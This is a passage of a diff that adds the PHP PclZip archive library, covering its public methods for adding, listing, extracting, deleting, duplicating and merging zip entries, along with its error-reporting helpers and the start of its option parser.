+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_ADD_COMMENT => 'optional',
+                                                   PCLZIP_OPT_PREPEND_COMMENT => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+												   ));
+        if ($v_result != 1) {
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
+      return 0;
+    }
+
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+      }
+    }
+
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_MTIME => 'optional'
+             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
+             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Return
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : listContent()
+  // Description :
+  //   This public method, gives the list of the files and directories, with their
+  //   properties.
+  //   The properties of each entries in the list are (used also in other functions) :
+  //     filename : Name of the file. For a create or add action it is the filename
+  //                given by the user. For an extract function it is the filename
+  //                of the extracted file.
+  //     stored_filename : Name of the file / directory stored in the archive.
+  //     size : Size of the stored file.
+  //     compressed_size : Size of the file's data compressed in the archive
+  //                       (without the headers overhead)
+  //     mtime : Last known modification date of the file (UNIX timestamp)
+  //     comment : Comment associated with the file
+  //     folder : true | false
+  //     index : index of the file in the archive
+  //     status : status of the action (depending of the action) :
+  //              Values are :
+  //                ok : OK !
+  //                filtered : the file / dir is not extracted (filtered by user)
+  //                already_a_directory : the file can not be extracted because a
+  //                                      directory with the same name already exists
+  //                write_protected : the file can not be extracted because a file
+  //                                  with the same name already exists and is
+  //                                  write protected
+  //                newer_exist : the file was not extracted because a newer file exists
+  //                path_creation_fail : the file is not extracted because the folder
+  //                                     does not exist and can not be created
+  //                write_error : the file was not extracted because there was a
+  //                              error while writing the file
+  //                read_error : the file was not extracted because there was a error
+  //                             while reading the file
+  //                invalid_header : the file was not extracted because of an archive
+  //                                 format error (bad file header)
+  //   Note that each time a method can continue operating when there
+  //   is an action error on a file, the error is only logged in the file status.
+  // Return Values :
+  //   0 on an unrecoverable failure,
+  //   The list of the files in the archive.
+  // --------------------------------------------------------------------------------
+  function listContent()
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    if (($v_result = $this->privList($p_list)) != 1)
+    {
+      unset($p_list);
+      return(0);
+    }
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extract($p_path="./", $p_remove_path="")
+  //   extract([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method extract all the files / directories from the archive to the
+  //   folder indicated in $p_path.
+  //   If you want to ignore the 'root' part of path of the memorized files
+  //   you can indicate this in the optional $p_remove_path parameter.
+  //   By default, if a newer file with the same name already exists, the
+  //   file is not extracted.
+  //
+  //   If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH aoptions
+  //   are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
+  //   at the end of the path value of PCLZIP_OPT_PATH.
+  // Parameters :
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 or a negative value on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function extract()
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_BY_NAME => 'optional',
+                                                   PCLZIP_OPT_BY_EREG => 'optional',
+                                                   PCLZIP_OPT_BY_PREG => 'optional',
+                                                   PCLZIP_OPT_BY_INDEX => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+												    ));
+        if ($v_result != 1) {
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Trace
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
+	                                     $v_remove_all_path, $v_options);
+    if ($v_result < 1) {
+      unset($p_list);
+      return(0);
+    }
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
+  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method is doing a partial extract of the archive.
+  //   The extracted files or folders are identified by their index in the
+  //   archive (from 0 to n).
+  //   Note that if the index identify a folder, only the folder entry is
+  //   extracted, not all the files included in the archive.
+  // Parameters :
+  //   $p_index : A single index (integer) or a string of indexes of files to
+  //              extract. The form of the string is "0,4-6,8-12" with only numbers
+  //              and '-' for range or ',' to separate ranges. No spaces or ';'
+  //              are allowed.
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
+  //     not as files.
+  //     The resulting content is in a new field 'content' in the file
+  //     structure.
+  //     This option must be used alone (any other options are ignored).
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  //function extractByIndex($p_index, options...)
+  function extractByIndex($p_index)
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+												   ));
+        if ($v_result != 1) {
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
+          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+        }
+        else {
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          return 0;
+        }
+      }
+    }
+
+    // ----- Trace
+
+    // ----- Trick
+    // Here I want to reuse extractByRule(), so I need to parse the $p_index
+    // with privParseOptions()
+    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
+    $v_options_trick = array();
+    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
+                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));
+    if ($v_result != 1) {
+        return 0;
+    }
+    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Call the extracting fct
+    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
+        return(0);
+    }
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   delete([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method removes files from the archive.
+  //   If no parameters are given, then all the archive is emptied.
+  // Parameters :
+  //   None or optional arguments.
+  // Options :
+  //   PCLZIP_OPT_BY_INDEX :
+  //   PCLZIP_OPT_BY_NAME :
+  //   PCLZIP_OPT_BY_EREG :
+  //   PCLZIP_OPT_BY_PREG :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the files which are still present in the archive.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function delete()
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Parse the options
+      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                        array (PCLZIP_OPT_BY_NAME => 'optional',
+                                               PCLZIP_OPT_BY_EREG => 'optional',
+                                               PCLZIP_OPT_BY_PREG => 'optional',
+                                               PCLZIP_OPT_BY_INDEX => 'optional' ));
+      if ($v_result != 1) {
+          return 0;
+      }
+    }
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Call the delete fct
+    $v_list = array();
+    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
+      $this->privSwapBackMagicQuotes();
+      unset($v_list);
+      return(0);
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : deleteByIndex()
+  // Description :
+  //   ***** Deprecated *****
+  //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered.
+  // --------------------------------------------------------------------------------
+  function deleteByIndex($p_index)
+  {
+
+    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
+
+    // ----- Return
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : properties()
+  // Description :
+  //   This method gives the properties of the archive.
+  //   The properties are :
+  //     nb : Number of files in the archive
+  //     comment : Comment associated with the archive file
+  //     status : not_exist, ok
+  // Parameters :
+  //   None
+  // Return Values :
+  //   0 on failure,
+  //   An array with the archive properties.
+  // --------------------------------------------------------------------------------
+  function properties()
+  {
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      $this->privSwapBackMagicQuotes();
+      return(0);
+    }
+
+    // ----- Default properties
+    $v_prop = array();
+    $v_prop['comment'] = '';
+    $v_prop['nb'] = 0;
+    $v_prop['status'] = 'not_exist';
+
+    // ----- Look if file exists
+    if (@is_file($this->zipname))
+    {
+      // ----- Open the zip file
+      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+      {
+        $this->privSwapBackMagicQuotes();
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+        // ----- Return
+        return 0;
+      }
+
+      // ----- Read the central directory informations
+      $v_central_dir = array();
+      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        return 0;
+      }
+
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Set the user attributes
+      $v_prop['comment'] = $v_central_dir['comment'];
+      $v_prop['nb'] = $v_central_dir['entries'];
+      $v_prop['status'] = 'ok';
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_prop;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : duplicate()
+  // Description :
+  //   This method creates an archive by copying the content of an other one. If
+  //   the archive already exist, it is replaced by the new one without any warning.
+  // Parameters :
+  //   $p_archive : The filename of a valid archive, or
+  //                a valid PclZip object.
+  // Return Values :
+  //   1 on success.
+  //   0 or a negative value on error (error code).
+  // --------------------------------------------------------------------------------
+  function duplicate($p_archive)
+  {
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the $p_archive is a PclZip object
+    if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
+    {
+
+      // ----- Duplicate the archive
+      $v_result = $this->privDuplicate($p_archive->zipname);
+    }
+
+    // ----- Look if the $p_archive is a string (so a filename)
+    else if (is_string($p_archive))
+    {
+
+      // ----- Check that $p_archive is a valid zip file
+      // TBC : Should also check the archive format
+      if (!is_file($p_archive)) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
+        $v_result = PCLZIP_ERR_MISSING_FILE;
+      }
+      else {
+        // ----- Duplicate the archive
+        $v_result = $this->privDuplicate($p_archive);
+      }
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : merge()
+  // Description :
+  //   This method merge the $p_archive_to_add archive at the end of the current
+  //   one ($this).
+  //   If the archive ($this) does not exist, the merge becomes a duplicate.
+  //   If the $p_archive_to_add archive does not exist, the merge is a success.
+  // Parameters :
+  //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
+  //                       or a PclZip object archive.
+  // Return Values :
+  //   1 on success,
+  //   0 or negative values on error (see below).
+  // --------------------------------------------------------------------------------
+  function merge($p_archive_to_add)
+  {
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      return(0);
+    }
+
+    // ----- Look if the $p_archive_to_add is a PclZip object
+    if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
+    {
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($p_archive_to_add);
+    }
+
+    // ----- Look if the $p_archive_to_add is a string (so a filename)
+    else if (is_string($p_archive_to_add))
+    {
+
+      // ----- Create a temporary archive
+      $v_object_archive = new PclZip($p_archive_to_add);
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($v_object_archive);
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : errorCode()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorCode()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorCode());
+    }
+    else {
+      return($this->error_code);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorName()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorName($p_with_code=false)
+  {
+    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
+                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
+                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
+                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
+                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
+                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
+                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
+                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
+                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
+                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
+                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
+                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
+                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
+                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
+                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
+                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
+                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
+                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
+                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
+                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
+                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
+                    );
+
+    if (isset($v_name[$this->error_code])) {
+      $v_value = $v_name[$this->error_code];
+    }
+    else {
+      $v_value = 'NoName';
+    }
+
+    if ($p_with_code) {
+      return($v_value.' ('.$this->error_code.')');
+    }
+    else {
+      return($v_value);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorInfo()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorInfo($p_full=false)
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorString());
+    }
+    else {
+      if ($p_full) {
+        return($this->errorName(true)." : ".$this->error_string);
+      }
+      else {
+        return($this->error_string." [code ".$this->error_code."]");
+      }
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
+// *****                                                        *****
+// *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
+// --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFormat()
+  // Description :
+  //   This method check that the archive exists and is a valid zip archive.
+  //   Several level of check exists. (futur)
+  // Parameters :
+  //   $p_level : Level of check. Default 0.
+  //              0 : Check the first bytes (magic codes) (default value))
+  //              1 : 0 + Check the central directory (futur)
+  //              2 : 1 + Check each file header (futur)
+  // Return Values :
+  //   true on success,
+  //   false on error, the error code is set.
+  // --------------------------------------------------------------------------------
+  function privCheckFormat($p_level=0)
+  {
+    $v_result = true;
+
+	// ----- Reset the file system cache
+    clearstatcache();
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the file exits
+    if (!is_file($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
+      return(false);
+    }
+
+    // ----- Check that the file is readeable
+    if (!is_readable($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
+      return(false);
+    }
+
+    // ----- Check the magic code
+    // TBC
+
+    // ----- Check the central header
+    // TBC
+
+    // ----- Check each file header
+    // TBC
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privParseOptions()
+  // Description :
+  //   This internal methods reads the variable list of arguments ($p_options_list,
+  //   $p_size) and generate an array with the options and values ($v_result_list).
+  //   $v_requested_options contains the options that can be present and those that
+  //   must be present.
+  //   $v_requested_options is an array, with the option value as key, and 'optional',
+  //   or 'mandatory' as value.
+  // Parameters :
+  //   See above.
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
+  {
+    $v_result=1;
+
+    // ----- Read the options
+    $i=0;
+    while ($i<$p_size) {
+
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$p_options_list[$i]])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for next option
+      switch ($p_options_list[$i]) {
+        // ----- Look for options that request a path value
+        case PCLZIP_OPT_PATH :
